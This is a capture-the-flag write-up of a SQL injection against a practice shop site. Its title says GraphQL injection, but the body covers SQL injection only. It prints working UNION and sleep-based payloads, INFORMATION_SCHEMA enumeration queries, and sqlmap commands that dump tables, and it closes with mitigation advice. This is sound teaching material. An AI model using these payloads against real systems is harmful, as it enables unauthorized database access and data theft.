Misc CTF - GraphQL Injection

— Written by — 8 min read

This seventh challenge aims to demonstrate a more than 20 years old bug: the infamous SQL injection. A perfect challenge for beginners.

Despite being the source a numerous data breach and exploitation every years, this vulnerability is still commonly found in a lot of web apps.

Tl;Dr: Exploiting a SQL Injection on the shop website allows to retrieve a table entry containing the flag.

Alright! Let’s get into the details now!

little bobby tables


Recon

Opening the challenge display the following website:

sql injection misc ctf

A simple e-commerce website, you can browse through products, add items to card and place an order. Nothing more.

Let’s dig a bit.
Browsing through the product pages we notice the elements parameter in the URL, probably used for pagination ?

Let’s see if we can make any type of injection through this parameter before moving to the cart and order function.

SQL Injection Vulnerability

Inputing random value as parameter returns the following message:

sql injection test misc ctf

When appending a classical AND 1=1 SQL injection to the elements parameters, the page don’t display errors but load the results normally:

1=1 sql injection misc ctf

To make sure we have a valid SQL Injection let’s try a sleep function injection:

1
2
3
4
5
6
7
8

$ time curl "http://localhost:8080/?elements=9 OR sleep(5)"
HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.6.40

0.01s user 0.01s system 0% cpu 5.978 total

Good since the request took 5 seconds to proceed, we now are 100% sure we have a valid SQL injection here. Let’s see what we can retrieve from the database using this vulnerability.

Getting to know the current database

To start off let’s see how to we can manually exploit the SQL injection vulnerability to exfiltrate data. In a second part we will see how to ease the task with automated exploitation tools.

To retrieve informations from the database we are going to use an UNION attack . Here is a nice explanation of the process:

The UNION keyword lets you execute one or more additional SELECT queries and append the results to the original query. For example:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

This SQL query will return a single result set with two columns, containing values from columns a and b in table1 and columns c and d in table2.

SQL injection UNION attacks | Web Security Academy

The first thing we need to do to perform an UNION attack is to determine the number of columns returned from the original query (the products listing query).

You can do so using two different methods:

  1. ORDER BY clauses injection

This method consist in injecting an ORDER BY clauses with incremental column index until an error is returned. The advantage of ORDER BY is that we can specify columns index number. This way we don’t have to know the exact column name.

Let’s give it a try.

First using ORDER BY 1:

sql injection misc ctf union 1

Looks alright, no error. Let’s do the same for ORDER BY 2, ORDER BY 3, and so on…

Arriving at ORDER BY 4 we finally get the error:

sql injection misc ctf union 4

Behind the scene, the database returns an error, such as:

The ORDER BY position number 4 is out of range of the number of items in the select list.

We now gained the knowledge that the current table contains 3 columns (id, name, price maybe ?)

  1. UNION SELECT injection

This second method involves submitting a series of UNION SELECT payloads specifying a different number of null values every-times.

If the number of nulls does not match the number of columns, the database returns an error, such as:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Again let’s give it a try:

First, using UNION SELECT NULL:

sql injection misc ctf union null

We get an error, meaning the table have more than one column.

Let’s do the same for UNION SELECT NULL,NULL, UNION SELECT NULL,NULL,NULL, and so on…

Arriving at UNION SELECT NULL,NULL,NULL we don’t get any errors:

sql injection misc ctf multiple null union

We now confirmed in a different way that the current table contains 3 columns.

Extracting data using SQL Injection

Alright we now have all the informations we need to start extracting actual data from the database.

Let’s see how we can use UNION attack to do so.

First, we are going to use the following query to get all the databases and tables used by the website:

1
SELECT table_schema, table_name FROM INFORMATION_SCHEMA.TABLES

Embed it inside our UNION query gives the following payload:

1
UNION SELECT table_schema,table_name,NULL FROM INFORMATION_SCHEMA.TABLES

This query should now be able to retrieve all the databases and its table name.
Let’s give it a try:

sql injection misc ctf table name

Well… This surely looks broken but looking in the details we have all the informations we need, check the source code :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

[...]
<div id="chop-108" data-id="108" data-price="30777" onclick="addToCart(this)">
<img src="image/0108.jpg">
<p>$30777</p>
</div>
<div id="chop-ctf" data-id="ctf" data-price="chop" onclick="addToCart(this)">
<img src="">
<p>$chop</p>
</div>
<div id="chop-information_schema" data-id="information_schema" data-price="ALL_PLUGINS" onclick="addToCart(this)">
<img src="">
<p>$ALL_PLUGINS</p>
</div>
[...]

See what’s going here ? The “normal” shop SQL query request for the product id and price, using the id in chop-<product-id> as <div> identifier and showing price in <p> tag.

In our union query, the store SQL query gets replaced by our UNION query. The chop id is replaced by table_schema and price by table_name.

While this is not very readable we still gets all the informations we need. We now know that the only database is ctf and contains one table: chop.

Let’s continue our enumeration to get a list of each columns name in the chop table. We can do so using:

1
SELECT column_type,column_name,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='chop'--

Let’s give it a try:

sql injection misc ctf table listing

Awesome, we were close with our guessing. Here is all the informations we collected so far:

  • Database: ctf
  • Table: chop
  • Columns: id, price, image_url

With that in mind let’s list all the lines in this chop database to see if we can find juicy informations:

1
UNION SELECT id,price,image_url FROM chop--

sql injection misc ctf column listing

Hey what’s this last product with price to $0 and broken image ?

Let’s check the source code:

1
2
3
4
<div id="chop-109" data-id="109" data-price="0" onclick="addToCart(this)">
<img src="FLAG{5ql 1nj3c710n 4r3 571ll w1d3ly u53d!}">
<p>$0</p>
</div>

Bingo!

The easy way - SQLMap

You noticed it. The manual way is not really easy nor fast to operate.

Thankfully (or unfortunately depending on the point of view) [SQLMap](https://github.com/sqlmapproject/sqlmap), an open source tools, allows to automate all step of a SQL Injection.

Let’s have a look at what it is capable on our Chop Shop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

$ sqlmap -u "http://192.168.1.21:8080/?elements=9"
___
__H__
___ ___[)]_____ ___ ___ {1.4.3#stable}
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[15:32:14] [INFO] testing connection to the target URL
[15:32:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[15:32:15] [INFO] testing if the target URL content is stable
[...]
[15:32:15] [INFO] GET parameter 'elements' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="$81519")
[15:32:44] [INFO] GET parameter 'elements' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[15:32:44] [INFO] GET parameter 'elements' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'elements' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 68 HTTP(s) requests:
---
Parameter: elements (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: elements=9 AND 3739=3739

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: elements=9 AND (SELECT 6385 FROM (SELECT(SLEEP(5)))ZgQe)

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: elements=9 UNION ALL SELECT CONCAT(0x71786a7a71,0x52526f7750766c6b734b4c765a464b75514e557956765964446f504e73764d7a744872505a416c44,0x71766a7171),NULL,NULL-- -
---
[15:33:24] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

Well that took only a bit more than 30 seconds. SQLMap can also extract all databases and tables:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ sqlmap -u "http://192.168.1.21:8080/?elements=9" --tables
[...]
[15:37:31] [INFO] fetching tables for databases: 'ctf, information_schema, test'
Database: ctf
[1 table]
+---------------------------------------+
| chop |
+---------------------------------------+

Database: information_schema
[76 tables]
+---------------------------------------+
| ALL_PLUGINS |
| APPLICABLE_ROLES |
| CHARACTER_SETS |
| CHECK_CONSTRAINTS |
[...]

And extract databases content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

$ sqlmap -u "http://192.168.1.21:8080/?elements=9" -T chop --dump
[...]
[15:42:03] [INFO] fetching current database
[15:42:03] [INFO] fetching columns for table 'chop' in database 'ctf'
[15:42:03] [INFO] fetching entries for table 'chop' in database 'ctf'
Database: ctf
Table: chop
[109 entries]
+------+-------+--------------------------------------------+
| id | price | image_url |
+------+-------+--------------------------------------------+
| 100 | 97223 | image/0100.jpg |
| 101 | 49541 | image/0101.jpg |
| 102 | 35913 | image/0102.jpg |
| 103 | 27690 | image/0103.jpg |
| 104 | 71432 | image/0104.jpg |
| 105 | 23383 | image/0105.jpg |
| 106 | 48010 | image/0106.jpg |
| 107 | 29452 | image/0107.jpg |
| 108 | 30777 | image/0108.jpg |
| 109 | 0 | FLAG{5ql 1nj3c710n 4r3 571ll w1d3ly u53d!} |
| 10 | 17528 | image/0010.jpg |
| 11 | 91187 | image/0011.jpg |
[...]

SQLMap also features:

  • Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
  • Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
  • Dump database tables entirely.
  • Download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  • Execute arbitrary commands and retrieve their standard output.
  • And the list continue…

As you can see SQLMap is an extremely complete and powerful tool, allowing anyone with little to no real knowledge to perform advanced SQL injection attacks.
That’s why it’s very important to be aware of the risks of SQL Injection and why it’s still one of the most common and dangerous vulnerability.

Mitigation

Primary defenses against SQL Injections:

  1. Use of Prepared Statements (with Parameterized Queries)
  2. Use of Stored Procedures
  3. Whitelist Input Validation
  4. Escaping All User Supplied Input

Additional Defenses:

  • Enforcing Least Privilege
  • Performing Whitelist Input Validation as a Secondary Defense

References

Real Life Example

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFMisc
, ,